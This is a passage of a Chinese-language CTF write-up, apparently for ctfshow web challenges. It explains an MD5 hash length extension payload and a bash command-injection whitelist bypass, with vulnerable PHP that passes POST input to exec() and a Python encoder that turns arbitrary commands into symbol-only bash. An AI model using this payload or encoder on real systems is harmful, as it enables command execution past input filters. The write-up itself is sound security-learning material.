    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    echo "<source_code>";
    }
}

哈希扩展攻击主要是在salt未知的情况下已知md5(salt.password)===hash,我们可以构造出md5(salt.password2)===hash2,但是password2要满足一定格式,而且需要知道salt长度,这里试出来为10位(代码里明明是16个x😤)


payload

username=D0g3&password=D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00&submit=submit

web699

命令执行绕过

设置了白名单,需要用[${#}\(<)'0]这些字符来执行命令。

<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

参考文章minbashmaxfun writeup

${##} - 计算变量长度 等于1
$((expr)) - 算术表达式
$((${##}<<${##})) - 1左移1位,等于2
$((2#110)) - 二进制解析,等于6
${!#} 执行bash(第一个参数是/bin/bash) 等同于$0
$'\123' - 转换8进制为字符
<<<传入字符串

编写转换脚本


# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

print(build('touch 1.txt'))

这里创建了文件,也访问不到,好像是题目有问题😇

参考文章

https://blog.csdn.net/weixin_49656607/article/details/124065674、
https://blog.csdn.net/miuzzx/article/details/123064086